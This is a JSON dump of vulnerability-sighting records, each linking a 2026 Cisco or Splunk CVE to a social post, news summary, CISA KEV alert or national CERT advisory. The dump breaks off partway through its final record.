{"uuid": "b2aac9da-3dec-4c2f-8ca2-0431951ef7ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20301", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "", "creation_timestamp": "2026-08-06T12:45:07.126732Z"}, {"uuid": "2dba5977-8e59-4d40-8599-6673cf96561d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20263", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "", "creation_timestamp": "2026-08-06T12:45:11.607043Z"}, {"uuid": "89b22b2c-c68c-4686-b008-c964151d1559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://t.me/VulnerabilityNews/41989", "content": "Cisco Patches Four Critical Identity Services, Webex Flaws Enabling Code Execution\n\nCisco has announced patches to address four critical security flaws impacting Identity Services and Webex Services that could result in arbitrary code execution and allow an attacker to impersonate any user within the\u00a0service.\nThe details of the vulnerabilities are below\u00a0-\n\nCVE-2026-20184 (CVSS score: 9.8) - An improper certificate validation in the integration of single sign-on (SSO)\nhttps://thehackernews.com/2026/04/cisco-patches-four-critical-identity.html", "creation_timestamp": "2026-08-19T00:00:08.701103Z"}, {"uuid": "e9072052-655d-4b1f-b353-fe2422782ebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20288", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "", "creation_timestamp": "2026-08-06T12:45:09.376442Z"}, {"uuid": "7067dfa4-e344-4003-84f9-220edcc9d58e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20310", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "", "creation_timestamp": "2026-08-06T12:45:13.851089Z"}, {"uuid": "053f4729-b090-4445-a37b-1188ebf45c21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "", "creation_timestamp": "2026-08-06T12:45:16.080741Z"}, {"uuid": "20ca73b0-8aa7-4c33-b138-98556ca3358b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20349", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3msxc3xi2c22e", "content": "\ud83d\udea8 CISA KEV [CVSS 8.6 \u00b7 HIGH]\nCisco fixes vulnerability exploited to DoS its firewalls (CVE-2026-20349)\n\nhttps://www.helpnetsecurity.com/2026/08/13/cve-2026-20349-cisco-firewalls-dos/\n\n#CISA #KEV #PatchNow", "creation_timestamp": "2026-08-13T09:06:11.567099Z"}, {"uuid": "f9235b9a-71db-4adc-9829-9831ff62516d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20268", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.104335Z"}, {"uuid": "64cdeceb-cbd5-4e34-a56a-795a964de91f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20269", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.155767Z"}, {"uuid": "450c3fee-0f63-401d-824d-61ad5bed2863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20310", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.616973Z"}, {"uuid": "50f344ee-a2de-4f47-819b-b1979098d65d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20272", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.307261Z"}, {"uuid": "e72c9b6a-a558-483d-b260-917f11dc981d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20273", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.353608Z"}, {"uuid": "e15c145a-b424-4183-a405-51f73ec6c292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20288", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.399662Z"}, {"uuid": "c65e944b-f8b6-4b39-be07-561584b3fd5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20301", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.451488Z"}, {"uuid": "ca1db21b-7303-4051-828e-eb9c85f8f4c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.506931Z"}, {"uuid": "254d79f8-fd24-4127-8e4a-60213a285385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20304", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.556041Z"}, {"uuid": "6bf93012-7684-4885-9395-5799f8497873", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20270", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.206868Z"}, {"uuid": "26fc9e3f-d08a-49e9-98db-8788888d8253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20271", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.257357Z"}, {"uuid": "dbb4563b-e973-43db-a597-e9104dd0b949", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42060", "content": "CISA Adds Eight Known Exploited Vulnerabilities to Catalog\n\nCISA has added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2023-27351 PaperCut NG/MF Improper Authentication Vulnerability\nCVE-2024-27199 JetBrains TeamCity Relative Path Traversal Vulnerability\nCVE-2025-2749 Kentico Xperience Path Traversal Vulnerability\nCVE-2025-32975 Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability\nCVE-2025-48700 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability\nCVE-2026-20122 Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability\nCVE-2026-20128 Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability\nCVE-2026-20133 Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\u00a0\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\u00a0\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/20/cisa-adds-eight-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-19T00:00:09.382547Z"}, {"uuid": "b7508068-fbef-4f45-b1e7-926dce2458a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20124", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:11.845908Z"}, {"uuid": "ee1e223f-5604-4c77-ba0f-aa9205f8309d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:11.924504Z"}, {"uuid": "53b3fcb6-8530-4e4e-a9c2-e871e902fc64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20263", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:11.993076Z"}, {"uuid": "c5c33b4c-e8d6-415e-8a67-3290e7c6e5e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20267", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.049285Z"}, {"uuid": "6840906a-dbcd-4072-803a-0db171a9feef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42060", "content": "CISA Adds Eight Known Exploited Vulnerabilities to Catalog\n\nCISA has added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2023-27351 PaperCut NG/MF Improper Authentication Vulnerability\nCVE-2024-27199 JetBrains TeamCity Relative Path Traversal Vulnerability\nCVE-2025-2749 Kentico Xperience Path Traversal Vulnerability\nCVE-2025-32975 Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability\nCVE-2025-48700 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability\nCVE-2026-20122 Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability\nCVE-2026-20128 Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability\nCVE-2026-20133 Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\u00a0\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\u00a0\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/20/cisa-adds-eight-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-19T00:00:09.521351Z"}, {"uuid": "043d32a6-66d9-4742-b642-c06da19a92ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20312", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.678063Z"}, {"uuid": "a4a5a651-cba9-4896-b52b-895c8dd9c749", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "exploited", "source": "https://t.me/VulnerabilityNews/42060", "content": "CISA Adds Eight Known Exploited Vulnerabilities to Catalog\n\nCISA has added eight new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.\u00a0\nCVE-2023-27351 PaperCut NG/MF Improper Authentication Vulnerability\nCVE-2024-27199 JetBrains TeamCity Relative Path Traversal Vulnerability\nCVE-2025-2749 Kentico Xperience Path Traversal Vulnerability\nCVE-2025-32975 Quest KACE Systems Management Appliance (SMA) Improper Authentication Vulnerability\nCVE-2025-48700 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability\nCVE-2026-20122 Cisco Catalyst SD-WAN Manager Incorrect Use of Privileged APIs Vulnerability\nCVE-2026-20128 Cisco Catalyst SD-WAN Manager Storing Passwords in a Recoverable Format Vulnerability\nCVE-2026-20133 Cisco Catalyst SD-WAN Manager Exposure of Sensitive Information to an Unauthorized Actor Vulnerability\nThese types of vulnerabilities are frequent attack vectors for malicious cyber actors and pose significant risks to the federal enterprise.\u00a0\nBinding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the BOD 22-01 Fact Sheet for more information.\u00a0\nAlthough BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the specified criteria.\nhttps://www.cisa.gov/news-events/alerts/2026/04/20/cisa-adds-eight-known-exploited-vulnerabilities-catalog", "creation_timestamp": "2026-08-19T00:00:09.569020Z"}, {"uuid": "a07e46c0-614b-4162-a320-212805d9831d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20313", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msg4htwlvh2m", "content": "\ud83d\udd17 CVE : CVE-2026-20124, CVE-2026-20200, CVE-2026-20263, CVE-2026-20267, CVE-2026-20268, CVE-2026-20269, CVE-2026-20270, CVE-2026-20271, CVE-2026-20272, CVE-2026-20273, CVE-2026-20288, CVE-2026-20301, CVE-2026-20303, CVE-2026-20304, CVE-2026-20310, CVE-2026-20312, CVE-2026-20313", "creation_timestamp": "2026-08-06T13:10:12.827279Z"}, {"uuid": "9b434d04-e234-41fe-b8b5-6956aedfbc61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1010", "content": "", "creation_timestamp": "2026-08-13T09:17:36.385977Z"}, {"uuid": "c958f6ac-a025-4c88-82d5-c58f49007be7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/webtechkitchen.bsky.social/post/3mpj63hi7vv2a", "content": "Splunk patched CVE-2026-20253 the same day a working PoC dropped. Six days later: active exploitation + a CISA KEV listing. No auth needed \u2014 an open Postgres endpoint that writes and wipes files.\n\nhttps://webtechkitchen.com/patch-sunday-splunk-bug-nobody-should-sleep-573 #Splunk #infosec", "creation_timestamp": "2026-06-30T14:01:28.077976Z"}, {"uuid": "f32db372-523d-4880-9d7a-70abe218ba24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/hookprobe.com/post/3mpjdvc23wi2h", "content": "\ud83c\udfac How HookProbe Detects CVE-2026-20253: Securing Splunk Enterprise Against Arbitrary File Manipulation \u2014 AI-native edge security on a $50 Raspberry Pi. #infosec #EdgeSecurity #RaspberryPi", "creation_timestamp": "2026-06-30T15:45:23.671306Z"}, {"uuid": "c550f0e8-4357-4f74-9990-a4420068e990", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/hookprobe.com/post/3mpjettfgyk2o", "content": "Surprising: even Splunk Enterprise is at risk with CVE-2026-20253. HookProbe's HYDRA, NAPSE, AEGIS, and Qsecbit can guard against arbitrary file tampering. #EdgeSecurity #IDS", "creation_timestamp": "2026-06-30T16:02:29.243009Z"}, {"uuid": "5e74e4e2-e594-43f1-b769-6b7acc55f26d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mpjhzy5r6h2f", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-20223](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/ci...\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-csw-pnbsa-g8WEnuy #PatchManagement #Vulnerability #CVE", "creation_timestamp": "2026-06-30T16:59:35.836408Z"}, {"uuid": "c6ab6f42-ee37-48cb-893b-c9a17e5dce95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mpjs7de6pk2p", "content": "\u300cCisco Catalyst SD-WAN Manager\u300d\u306b\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027 - \u60aa\u7528\u3082\u78ba\u8a8d\n\n\u300cCisco Catalyst SD-WAN Manager\uff08\u65e7SD-WAN vManage\uff09\u300d\u306b\u3042\u3089\u305f\u306a\u8106\u5f31\u6027\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u304c\u78ba\u8a8d\u3055\u308c\u3066\u304a\u308a\u3001\u540c\u793e\u3067\u306f\u4eca\u5f8c\u306e\u30ea\u30ea\u30fc\u30b9\u3067\u4fee\u6b63\u4e88\u5b9a\u3068\u3057\u3066\u3044\u308b\u3002\n\nCisco Systems\u306f\u73fe\u5730\u6642\u95936\u67084\u65e5\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c9\u30d0\u30a4\u30b6\u30ea\u3092\u516c\u958b\u3057\u3001\u30b3\u30de\u30f3\u30c9\u30e9\u30a4\u30f3\u30a4\u30f3\u30bf\u30d5\u30a7\u30fc\u30b9\u306b\u304a\u3051\u308b\u5165\u529b\u691c\u8a3c\u4e0d\u5099\u306b\u8d77\u56e0\u3059\u308b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u300cCVE-2026-20245\u300d\u306b\u3064\u3044\u3066\u660e\u3089\u304b\u306b\u3057\u305f\u3082\u306e\u3002\n\n\u30aa\u30f3\u30d7\u30ec\u30df\u30b9\u306f\u3082\u3061\u308d\u3093\u3001\u300cCisco SD-WAN Cloud-Pro\u300d...", "creation_timestamp": "2026-06-30T20:01:33.499956Z"}, {"uuid": "55220461-e225-479a-bd20-c3e53bb90308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mpkhxm4m5225", "content": "Top 3 CVE for last 7 days:\nCVE-2026-55200: 41 interactions\nCVE-2026-8461: 30 interactions\nCVE-2026-47729: 29 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46817: 11 interactions\nCVE-2026-20245: 4 interactions\nCVE-2026-33825: 4 interactions\n", "creation_timestamp": "2026-07-01T02:30:56.193240Z"}, {"uuid": "fb5c1258-d73d-48b3-b422-bbd5831c9ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20217", "type": "published-proof-of-concept", "source": "Telegram/yH0XhfWqkuNLj6YQvCrDlaRCWGJc-BvLoJvLCEGvyWoy79M", "content": "", "creation_timestamp": "2026-08-19T00:00:26.448069Z"}, {"uuid": "78e7a815-d9e4-4778-aed4-7857ae8f0287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "published-proof-of-concept", "source": "Telegram/idIOBRrg4VzKcTwjdY2a29HXXP5ypVWeuPQHuHGKT56HHBs", "content": "", "creation_timestamp": "2026-08-19T00:00:28.055893Z"}, {"uuid": "734bd137-df0d-4ef0-bd22-823ff120d010", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 